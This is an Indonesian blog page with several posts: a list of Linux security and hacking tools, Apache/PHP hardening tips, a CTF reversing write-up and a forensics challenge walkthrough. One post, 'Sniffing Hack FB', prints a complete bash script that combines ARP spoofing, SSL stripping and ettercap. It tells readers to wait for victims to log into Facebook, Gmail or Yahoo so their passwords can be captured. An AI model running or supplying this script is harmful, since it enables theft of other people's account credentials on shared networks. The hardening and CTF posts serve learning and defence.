Social Icons

Cara mendapatkan bitcoin gratis

Tuesday, 19 April 2016

Network security di Linux


Wireshark – Network Traffic Analyzer
Wireshark adalah tools untuk menganalisis lalu lintas paket data di jaringan. Lazim dipanggil sebagi SNIFFER (pengintai). Sniffer adalah tools yang berkemampuan menangkap paket data dalam jaringan Wireshark mampu mendecode paket data dalam banyak jenis protokol. Tersedia pada operasi sistem linux dan windows.
 
    #sudo aptitude install wireshark


Nessus – Remote Network Security Auditor

Nessus adalah scanner untuk mengetahui celah keamanan komputer, baik komputer anda atau komputer siapapun. Kemampuannya yang lengkap sebagai Vulnerability Scanner adalah nyata karena didukung dengan fitur high speed discovery, configuration auditing, asset profiling, sensitive data discovery, dan vulnerability analysis of our security posture.
    #sudo apt-get install nessus


NMAP – The Network Mapper

Adalah tools pemetaan jaringan (network) terbaik yang pernah ada sejauh ini. Panggunaannya yang praktis, konfigurasi yang mudah, dan kehandalannya dalam memetakan jaringan komputer di manapun. Dengan Nmap, anda dapat mengetahui komputer-komputer (hosts) apa saja yang sedang terhubung dalam sebuah jaringan, apa service (aplikasi) yang sedang dijalankan komputer itu (host), apa sistem operasi komputer yang dipakai, apa tipe firewall yang digunakan, dan karakteristik lainnya dari komputer.
    #sudo apt-get install nmap



Etherape – Graphical Network Monitor Modeled after Etherman

Etherape adalah tools untuk memonitor jaringan dengan tampilan grafis. Tools ini dilengkapi dengan kemampuan menghasilkan grafik dari lapisan jaringan, mode IP dan TCP, serta menampilkan kegiatan network (jaringan) secara grafis. Kita dapat memfilter traffic apa saja yang mau ditampilkan secara grafis.
    #sudo apt-get install etherape

Kismet

Siapa yang tak kenal tools ini? Sebuah tools terbaik dan satu-satunya di dunia yang mampu mendeteksi setiap jaringan (network) wireless dengan sempurna tanpa cacat sekalipun jaringan tersebut telah berusaha disembunyikan. Dengan tools standar, kita kadang terkecoh bahwa ternyata ada jaringan yang tetap ada namun tak terpantau oleh komputer kita. Kismet adalah detektor jaringan wireless, sniffer, dan sistem pendeteksi penyusup pada komputer. Kismet dapat bekerja pada beragam tipe wireless card, dengan syarat wireless card kita memiliki fitur MODE MONITOR. Kismet dapat melakukan sniffing pada traffic-traffic 802.11b, 802.11a, dan 802.11g.
    #sudo apt-get install kismet

Chkrootkit – Checks for signs of rootkits on the local system

Tools ini berfungsi melakukan identifikasi apakah sebuah komputer diinfeksi dengan rootkit. Apa itu tootkit? Ini dia jenis-jenis rootkit:

1. lrk3, lrk4, lrk5, lrk6 (and some variants);

2. Solaris rootkit;

3. FreeBSD rootkit;

4. t0rn (including latest variant);

5. Ambient’s Rootkit for Linux (ARK);

6. Ramen Worm;

7. rh[67]-shaper;

8. RSHA;

9. Romanian rootkit;

10. RK17;

11. Lion Worm;

12. Adore Worm.


    #sudo apt-get install chkrootkit

Rkhunter – Rootkit, backdoor, sniffer and exploit scanner

Tools ini sangat berguna dalam melakukan scanning system komputer kita terhadap keberadaan rootkit yang teridentifikasi berbahaya atau sangat mencurigakan, backdoors, sniffers, dan exploits.

Tools ini akan melakukan pemeriksaan berikut ini di komputer kita:

- MD5 hash changes;

- files commonly created by rootkits;

- executables with anomalous file permissions;

- suspicious strings in kernel modules;

- hidden files in system directories;

Dalam upaya scanning sistem yang optimal, anda harus mengecek sistem menggunakan RKHUNTER dan CHKROOTKIT.
    #sudo apt-get install rkhunter

TCPDump – A powerful tool for network monitoring and data acquisition

Tools ini mengizinkan anda untuk melakukan dumping terhadap lalu lintas jaringan kompute. TCPDump juga dapat digunakan untuk menguji IPv4, ICMPv4, IPv6, ICMPv6, UDP, TCP, SNMP, AFS BGP, RIP, PIM, DVMRP, IGMP, SMB, OSPF, NFS, dan banyak tipe paket data di jaringan. Selain itu, anda juga dapat menggunakan tools ini untuk melakukan track down masalah network, mendeteksi “Ping Attacks”, dan memonitor kegiatan network.
    #sudo apt-get install tcpdump

SNORT – Flexible Network Intrusion Detection System

Ini adalah salah satu tools favorit saya dalam mendeteksi penyusup di jaringan. Kemampuan tools ini adalah yang tercanggih dalam mendeteksi attacks dan probes dalam network, seperti buffer overflows, stealth port scans, CGI attacks, SMB probes, dan lain-lain.
    #sudo apt-get install snort

Firestarter – program for managing and observing your firewall

Firestarter adalah tools lengkap mesin Linux yang berfungsi sebagai firewall. Memiliki kemampuan real-time dalam menunjukkan probing penyerang pada mesin komputer.
    #sudo apt-get install firestarter

CLAMAV – anti-virus utility for Unix

Clam antivirus adalah antivirus yang didesain untuk mesin Linux. Antivirus ini berkemampuan melakukan scanning pada:

- format Zip, RAR, Tar, Gzip, Bzip2, OLE2, Cabinet, CHM, BinHex, SIS, dan sebagainya

- seluruh format file mail

- seluruh format file dokument, termasuk file Microsoft Office dan file Mac Office seperti HTML, RTF dan PDF.


    #sudo apt-get install clamav

Netcat – TCP/IP swiss army knife

Netcat adalah sebuah tools simpel dari mesin linux yang berkemampuan membaca dan menuliskan paket-paket data di jaringan, baik yang berprotokol TCP maupun UDP.
    #sudo apt-get install netcat

John

Lebih terkenal dengan sebutan John the Ripper (JTR), adalah tools yang didesain untuk membantu administrator sistem dalam menemukan kelemahan password. Tools ini mampu digunakan dalam berbagai bentuk chipertext, termasuk Unix’s DES and MD5, Kerberos AFS passwords, Windows’ LM hashes, BSDI’s extended DES, dan OpenBSD’s Blowfish.

Bagi yang ingin melakukan cracking terhadap sebuah password, John the Ripper adalah jawaban terbaik.
    #sudo apt-get install john

Dnsniff – Various tools to sniff network traffic for cleartext insecurities

Dsniff adalah sebuah paket tools yang mengandung beberapa sub-tools di dalamnya untuk menyadap dan mengkreasikan jaringan.

Sub-sub tools itu adalah berikuti ini:

* arpspoof – Send out unrequested (and possibly forged) arp replies.

* dnsspoof – forge replies to arbitrary DNS address / pointer queries on the Local Area Network.

* dsniff – password sniffer for several protocols.

* filesnarf – saves selected files sniffed from NFS traffic.

* macof – flood the local network with random MAC addresses.

* mailsnarf – sniffs mail on the LAN and stores it in mbox format.

* msgsnarf – record selected messages from different Instant Messengers.

* sshmitm – SSH monkey-in-the-middle. proxies and sniffs SSH traffic.

* sshow – SSH traffic analyser.

* tcpkill – kills specified in-progress TCP connections.

* tcpnice – slow down specified TCP connections via “active” traffic shaping.

* urlsnarf – output selected URLs sniffed from HTTP traffic in CLF.

* webmitm – HTTP / HTTPS monkey-in-the-middle. transparently proxies.

* webspy – sends URLs sniffed from a client to your local browser (requires libx11-6 installed).


    #sudo apt-get install dsniff
Selengkapnya...

Friday, 18 March 2016

Sniffing Hack FB

Hallo rekan2 IBT, mumpung belum ada kerjaan alias masih nganggur dan daripada otak nganggur juga mendingan ane buat tutor sniffing menggunakan script tetapi tutor ini hanya berlaku di BT4 R2 cause sudah dicoba di BT5 ettercapnya bermasalah......

Oke langsung aja bro............

1.Pertama-tama kita copas script dibawah dan buat menjadi executable

Spoiler! :

#!/bin/bash

# Script for sniffing https connections.
# Script use Arpspoof, SSLStrip, Ettercap, Urlsnarf and Driftnet.
# Tested on BT4 R2
# BY gHero,cseven,spudgunman.
# Ver 0.2

# ASCII sniff.sh
echo '
             .__  _____  _____           .__
 ______ ____ |__|/ ____\/ ____\     _____|  |__
/  ___//    \|  \   __\\   __\     /  ___/  |  \
\___ \|   |  \  ||  |   |  |       \___ \|   Y  \
/____  >___|  /__||__|   |__|    /\/____  >___|  /
    \/     \/                   \/     \/     \/
'

echo '1' > /proc/sys/net/ipv4/ip_forward

iptables --flush
sleep 1

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000


# Arpspoof
echo -n -e "Would you like to ARP a (T)arget or full (N)etwork? ";
read ARPOP

if [ "$ARPOP" == "T" ] ; then
echo
echo -e '\E[30;42m'"<Arpspoof Configuration>"; tput sgr0
echo '------------------------'
echo -n -e '\E[37;41m'"Client IP address: "; tput sgr0
read IP1
echo -n -e '\E[30;47m'"Router's IP address: "; tput sgr0
read IP2

echo -n -e '\E[37;44m'"Enter your Interface for example <eth0 or wlan0>: "; tput sgr0
read INT
xterm -fg green4 -bg grey0 -e 'arpspoof -i '$INT' -t '$IP1' '$IP2'' &

else

echo
echo -e '\E[30;42m'"<Arpspoof Configuration>"; tput sgr0
echo '------------------------'
echo -n -e '\E[30;47m'"Router's IP address: "; tput sgr0
read IP2

echo -n -e '\E[37;44m'"Enter your Interface for example <eth0 or wlan0>: "; tput sgr0
read INT
xterm -fg green4 -bg grey0 -e 'arpspoof -i '$INT' '$IP2'' &

fi

# SSLSTRIP
xterm -fg green4 -bg grey0 -e 'sslstrip -a -w ssl_log.txt' &

# ETTERCAP
xterm -fg green4 -bg grey0 -e 'ettercap -T -q -i '$INT'' &

# URLSNARF
xterm -fg green4 -bg grey0 -e 'urlsnarf -i '$INT' | grep http > urlsnarf_log.txt' &

# DRIFTNET
driftnet -p -i $INT &


script diatas bukan ane yang buat bro, ane dapat dr forum backtrack.org

2. kalo udah dicopas save as dengan nama bebas terserah agan, kalo ane sih kasih nama file nya "sniff" dan pastikan buat menjadi executeble

3. selanjutnya execute script tadi dengan command
   # ./sniff.sh

4. kalo berhasil akan keluar pertanyaan seperti dibawah ini:
Spoiler! :



5. Tunggu dengan sabar karena kita ga tahu kapan korban akan login ke account FB, Gmail, yahoo dkk. setelah menunggu dengan sabar akhirnya datang eh salah nongol juga tuh password di ettercap
Spoiler! :



mudah kan cara sniffingnya, tapi inget bro jg diacak acak  tuh account orang kan dosa.........

apabila masih ada kekurangan mohon dimaafkan segera karena tujuan ane hanya berbagi.......
untuk bikin menjadi executable save dulu file yang tadi dengan "sniff.sh"
lalu cari file sniff td di desktop.

nah untuk membuat executable silahkan lakukan ini
klik kanan sniff.sh >pilih permision > centang box executable > selesai deh

buka terminal ketik command dibawah ini :
# ./sniff.sh

selanjutnya isi deh pertanyaannya.
Selengkapnya...

Thursday, 10 March 2016

[Keamanan Jaringan] Mengamankan Web Server Apache dan PHP

Saat ini, hampir setiap orang memiliki website sendiri-sendiri. Beberapa perusahaan pun sudah banyak yang memanfaatkan website untuk mempublikasikan perusahaan mereka. Seringkali website-website tadi diletakkan di server hosting yang dimiliki oleh penyedia jasa hosting. Akan tetapi ada juga website-website yang servernya dikelola sendiri. Mengelola server web anda sendiri sebetulnya tidak terlalu rumit. Hanya saja anda akan cukup pusing apabila ada pihak luar yang meretas website anda dan meletakkan file-file berbahaya yang mengganggu server ataupun website anda. Untuk itu, berikut ini ada sedikit tips yang bisa anda ikuti untuk mencegah atau setidaknya mempersulit hacker untuk masuk ke server anda.
Directive Allow dan Deny
Directive Allow dan Deny pada Apache berguna untuk membatasi IP mana saja yang berhak untuk mengakses website/direktori pada website anda. Misalkan saja anda ingin agar PhpMyAdmin di server anda hanya dapat diakses dari jaringan lokal perusahaan anda (misal : 192.168.1.0/24). Maka anda dapat mengubah konfigurasi PhpMyAdmin di Apache menjadi kurang lebih mirip seperti ini :
<Directory /usr/share/phpmyadmin>
Options FollowSymLinks
DirectoryIndex index.php

Order deny,allow
Deny from all
Allow from 192.168.1.0/255.255.255.0
</Directory>
Mengubah Nama-Nama Direktori yang Umum
Biasanya, hacker akan melakukan brute-force untuk mencari direktori-direktori atau file-file tertentu, seperti PhpMyAdmin/, admin/, dsb. Karena itu, akan lebih baik jika nama-nama direktori tersebut diubah,sehingga hanya orang-orang tertentu yang mengetahui, misal : PhpMyAdminQuwh/
Selain itu, pastikan anda sudah menghapus direktori/file yang digunakan untuk instalasi. Biasanya beberapa CMS semacam WordPress/Joomla/Moodle memiliki file PHP yang digunakan untuk melakukan instalasi CMS tersebut.

Lanjut ke bagian berikutnya, Pada bagian ini akan dibahas mengenai beberapa hal yang dapat kita lakukan untuk memperkuat web server kita dengan cara mengutak-atik konfigurasi PHP. Berikut ini adalah hal-hal yang dapat kita lakukan :
Disable Functions
Beberapa fungsi di PHP sangat berbahaya apabila digunakan tidak hati-hati. Salah satu contohnya adalah fungsi system() yang dapat digunakan untuk mengeksekusi shell command dari kode PHP anda. Kemudian ada juga fungsi ini_set() yang dapat mengubah konfigurasi php.ini melalui kode PHP yang ada. Fungsi-fungsi seperti ini akan lebih baik jika dinon-aktifkan saja apabila memang tidak ada aplikasi web anda yang menggunakannya. Untuk itulah ada option disable_functions di php.ini. Option ini akan men-disable semua fungsi yang disebutkan di dalamnya. Sehingga jika ada kode PHP yang menggunakan fungsi tersebut, kode tersebut tidak akan berjalan.
Contoh isi disable_functions yang disarankan (setiap nama fungsi dipisahkan dengan tanda koma), dapat ditambahi, dapat juga dikurang sesuai kebutuhan, dapat dilihat di sini
Sebetulnya ada 2 fungsi lagi yang bisa di-disable, yaitu base64_decode dan mysql_pconnect. Untuk mysql_pconnect ini masih tidak terlalu berbahaya jika digunakan. Hanya saja jika digunakan secara sembarangan dapat menghabiskan resource server yang cukup besar untuk menyimpan persistent connection.
Sedangkan base64_decode, biasanya digunakan untuk menyembunyikan kode-kode PHP yang berbahaya dalam bentuk base64, sehingga tidak dapat terdeteksi oleh antivirus atau secara manual. Biasanya fungsi ini akan dipanggil di dalam fungsi eval(). Meskipun begitu, beberapa CMS (moodle), PHP Framework (CodeIgniter), dan PHPMyAdmin menggunakan fungsi ini juga. Jadi jika di-disable, kemungkinan besar, fungsionalitas dari aplikasi-aplikasi tersebut akan terganggu. Karena itu, di bawah ini akan dijelaskan bagaimana agar script-script berbahaya yang bersembunyi dengan base64_decode dapat dicegah.
Disable Eval() Function
Eval adalah sebuah fungsi yang dapat digunakan untuk menjalankan script PHP yang ada di dalam parameter fungsi eval tersebut. Hal ini sangat berbahaya, karena bisa saja fungsi yang dijalankan di dalam eval() adalah fungsi-fungsi untuk meretas sistem kita. Karena itu, fungsi eval ini harus di-disable atau minimal dibatasi kemampuannya.
Option disable_functions tidak dapat mencegah fungsi eval() untuk berjalan, cara lain untuk men-disable eval() adalah dengan menggunakan patch suhosin untuk php. Kelebihan patch ini adalah tidak perlu mengompile ulang php untuk menjalankannya. Di beberapa distro seperti ubuntu, debian, dan fedora, patch ini sudah ada di repository. Jadi kita tinggal install saja di server dengan menggunakan apt-get atau synaptic atau yum. Paketnya biasanya bernama php5-suhosin. Setelah paket ini terinstall, buka file /etc/php5/apache2/conf.d/suhosin.ini (mungkin berbeda untuk distro selain Ubuntu dan Debian).
Kemudian pastikan baris ini aktif (tidak dianggap sebagai komentar) di file tersebut :
extension=suhosin.so
Setelah itu cari 3 baris ini :

  • suhosin.executor.eval.whitelist =
  • suhosin.executor.eval.blacklist =
  • suhosin.executor.disable_eval = off


Baris whitelist digunakan untuk menentukan fungsi-fungsi apa saja yang boleh dieksekusi oleh fungsi eval. Sedangkan blacklist menentukan fungsi-fungsi apa saja yang tidak boleh dijalankan oleh fungsi eval. Apabila kita ingin men-disable eval secara keseluruhan, maka kita harus merubah parameter suhosin.executor.disable_eval menjadi on. Akan tetapi beberapa CMS juga ada yang memanfaatkan fungsi eval ini. Karena itu, kita bisa memanfaatkan blacklist saja untuk mencegah beberapa fungsi berjalan di dalam eval. Isi dari blacklist dapat diisi sama dengan disable_functions tadi, atau cukup ditambahkan fungsi-fungsi tertentu yang tidak boleh berjalan di dalam eval, seperti base64_decode.
Di bagian sebelumnya base64_decode tidak dimasukkan ke disable_function, karena masih banyak yang menggunakannya. Tetapi aplikasi web biasa, jarang menggunakan base64_decode di dalam eval. Biasanya yang seperti itu hanya para pembuat theme CMS yang ingin menyembunyikan kode untuk menampilkan copyrightnya. Oleh karena itu, base64_decode ini didaftarkan saja di blacklist suhosin agar dia tidak berjalan apabila berada di dalam fungsi eval.
Sementara sekian dulu beberapa tips untuk memperkuat pertahanan server web kita, barangkali ada yang kurang atau salah, silahkan dimasukkan ke dalam kolom komentar yang tersedia di bawah.

Berikut ini adalah beberapa ebook yang enak dibaca dan mencakup dasar-dasar  keamanan jaringan dan hacking :
Hacking for Dummies 3rd Ed (2010)
Link : Download

Sesuai judulnya, buku ini memberikan dasar-dasar yang ada pada dunia hacking dan keamanan jaringan. Beberapa hal, bagi beberapa orang mungkin terlalu dasar. Tetapi bila anda merupakan orang awam di dunia ini, buku ini merupakan buku yang cocok. Sama seperti serial for dummies yang lain, analogi-analogi dan deskripsi yang ada memudahkan pembaca untuk memahami isinya.
Backtrack 4 – Assuring Security by Penetration Testing (2011)
Link : Download

Backtrack adalah salah satu dari distro Linux yang sering digunakan untuk melakukan penetration testing atau hacking. Buku ini membahas aplikasi-aplikasi yang terdapat pada Backtrack yang dapat digunakan untuk melakukan penetration testing. Dari sisi pembahasan cukup praktikal, tetapi sayangnya buku ini masih menggunakan Backtrack 4, dimana saat post ini dibuat sudah ada versi 5. Tetapi bagi anda yang terbiasa dengan Linux, itu seharusnya bukan masalah yang besar.
Certified Ethical Hacking (CEH) Study Guide (2010)
Link : Download

Certified Ethical Hacking (CEH) adalah sebuah sertifikasi bagi anda yang ingin menjadi seorang penetration tester profesional. Ethical hacker adalah seorang hacker yang memang ditugaskan untuk mencari celah-celah keamanan yang ada dan melaporkannya ke pihak yang menggunakan jasanya. Saat ini, profesi ini belum banyak yang mendalami secara serius. Nah, buku ini adalah buku yang cocok bagi anda yang tertarik untuk mengambil sertifikasi. Karena di dalamnya selain ada penjelasan mengenai teori-teori yang ada, disertai juga dengan contoh praktek dan latihan soal. Bagi anda yang tidak tertarik mengambil sertifikasi ini, buku ini juga tetap enak dibaca.
Selengkapnya...

[Reversing] CTF MEH reverse1

Soal ini di dapat dari CTF(Capture The Flag) yang diselenggarakan oleh MEH(Makasar Ethical Hacking),Sebenernya sih ctf nya udah lama, tapi daripada write up nya di diemin terus di pc, ya mending di post aja di blog, itung-itung buat arsip 😀
Nah di soal ini kita di kasih satu file ELF buat kita reverse, jadi si elf ini bakal nge print key nya jika password yang kita masukin sama dengan password yang telah kita tentukan, simple.
Buat yang butuh soalnya buat latihan bisa check di download di : DISINI
Pertama yang saya lakukan adalah check file itu sendiri (Pas pertama kan gak tau ini file apaan) :
CTF MEH write up
Yarp, kita dapet, ternyata file ELF 32 bit, Nah sesudah itu, tadinya saya mau coba static analysis dulu, tapi karena kayaknya programnya simple(sebenernya males sih) jadi langsung aja buka GDB terus debugging.
ini hasil dari disassemble fungsi main dari file nya :
CTF MEH writeup
3
Nah dari situ udah keliatan langsung, di address 0x0804851f ada pembandingan(cmp) dan di bawahnya ada instruksi jne(Jump if not equal).
4
di sini kita udah tau bahwa password yang kita masukan udah ada di register eax, kemudian di bandingkan dengan variable $0x111a7, kalo tidak sama(password salah) maka instruksi selanjutnya bakal loncat(jumping) ke address 0x804853d.
Disini ada dua cara supaya kita bisa dapat key nya tanpa tau password yang sebenarnya, yaitu :
  1. Kita bisa overwrite isi dari register eax dengan nilai dari variable tadi ketika proses pembandingan
  2. Kita bisa melakukan jumping langsung melewati instruksi jne dengan mengoverwrite nilai dari register eip dengan address sesudah instruksi  jne.
Disini, saya menggunakan cara yang kedua.
Hal yang pertama saya lakukan adalah memasang breakpoint di address 0x0804851f supaya program bisa berhenti pada address itu.
5
Kita bakal diminta password terlebih dahulu(ada pemanggilan fungsi scanf) itu bisa diisi dengan nilai apapun.
nah dari sini kita bisa melakukan jumping untuk melewati instruksi cmp dan jne dengan cara mengoverwrite nilai dari register eip.
6
Setelah itu kita bisa melanjutkan program dengan command c pada gdb.
7
Program akan memberikan kita Flagnya ^_^ tanpa harus mengetahui password nya.
Selengkapnya...

Soal NOOSC [Digital Forensic]


Ada beberapa situs yang memberikan sebuah permainan mengenai hacker , forensik dan lain-lain. Salah satunya http://www.noosc.co.id/ . Terdapat beberapa soal didalam situs tersebut , disini saya akan menjelaskan pemecahan kasus soal yang keempat.



  • Login ke situs tersebut dan pilih CHALLENGE > Soal keempat > Klik  PCAP [maka anda akan mendownload file pcap tersebut] :


  • Buka file pcap tersebut dengan menggunakan notepad++ , kita akan mencari alamat login pada file pcap tersebut.
    #Keterangan : garis lingkar merah adalah alamat login.

  • Selanjutnya,masukkan alamat login tersebut ke URL (Copy Paste), maka anda akan berada pada halaman login website tersebut,


  • Klik View Page Source , cari username & password pada page source tersebut,
    #Keterangan : garis lingkar merah adalah petunjuk username & password tersebut

  •  Buka kembali file pcap tersebut dengan menggunakan software Wireshark , cari protocol yang mengandung pengiriman suatu aplikasi > Klik kanan pada "info" aplikasi tersebut> Pilih follow TCP stream ,
  • Masih ingatkan petunjuk dari View Page Source  ?
    u = username   p = password >  



  • Kita telah mendapatkan username & password tersebut , selanjutnya masukkan username & password tersebut pada halaman website login yang tadi > Klik login , maka anda akan mendapatkan kode flagnya ,
  • Klik "sini" untuk menuju halaman web tempat pemasukkan kode flag tersebut > Klik "Submit" , maka anda telah menyelesaikan level keempat.


#Sekian penjelasan dari saya , semoga bermanfaat .
Selengkapnya...

jago Photoshop